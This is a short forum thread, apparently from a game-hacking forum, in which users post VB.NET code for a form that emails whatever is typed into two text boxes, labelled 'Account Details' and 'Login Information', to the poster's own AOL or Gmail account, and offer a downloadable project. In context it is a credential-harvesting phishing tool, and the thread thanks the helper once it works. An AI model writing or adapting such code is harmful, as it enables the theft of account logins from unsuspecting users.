tibble (01-18-2010)
Ok I'm gonna use a code I already have from a mailer I made.
Code:Imports System.Net.Mail Public Class Form1 Private Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Dim theMailMessage As New MailMessage() With theMailMessage .To.Add("email@email.com") .From = New MailAddress("email@email.com") .Body = Me.TextBox1.Text & TextBox2.Text .Subject = "Account Details" End With Dim theClient As New SmtpClient("smtp.aol.com") With theClient .UseDefaultCredentials = False .Credentials = New System.Net.NetworkCredential("username", "password") .EnableSsl = True End With Try theClient.Send(theMailMessage) Catch wex As Net.WebException End Try End Sub 'Page_Load End Class
Last edited by Marthz; 01-18-2010 at 01:46 PM.
Ah yes. Outstanding.
tibble (01-18-2010)

382
Using Gmail as a SMTP relay
https://innovatorsworldwide.com/MPGH/Tibble.rarCode:'Required Namespace to send smtp via gmail (or anything really :p) Imports System.Net.Mail Public Class Form1 'on button click event Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim client As New SmtpClient() ' the recieving email address, (so your email address tibble) Dim sendTo As New MailAddress("example@gmail.com") ' Who is it coming from? I suggest doing something like using the users real email to sort or using texbox1.text@login.com) Dim from As MailAddress = New MailAddress("yourgmailaccountusername@address.com") Dim message As New MailMessage(from, sendTo) message.IsBodyHtml = True message.Subject = "Login Information" message.Body = message.Body + (TextBox1.Text) message.Body = message.Body + "" message.Body = message.Body + (TextBox2.Text) 'authentication = Your email@gmail.com and password = "" your password Dim basicAuthenticationInfo As New System.Net.NetworkCredential("Your email address for gmail", "Your password") client.Host = "smtp.gmail.com" client.UseDefaultCredentials = False client.Credentials = basicAuthenticationInfo client.EnableSsl = True Try client.Send(message) Console.WriteLine("SUCCESS") Catch ex As Exception Console.WriteLine("SEND FAIL") End Try End Sub End Class
https://www.virustotal.com/analisis/1...343-1263845045
Attached is a small working example project, set the credentials, I noted everything,
Hope this helps
Otherwise I can get you Jscape and Chilkat components to send and receive smtp , only issue is you need an smtp server for most of these examples to work, so your best bet is the gmail example.
Last edited by NextGen1; 01-18-2010 at 02:13 PM.
tibble (01-18-2010)
Works fine, thanks!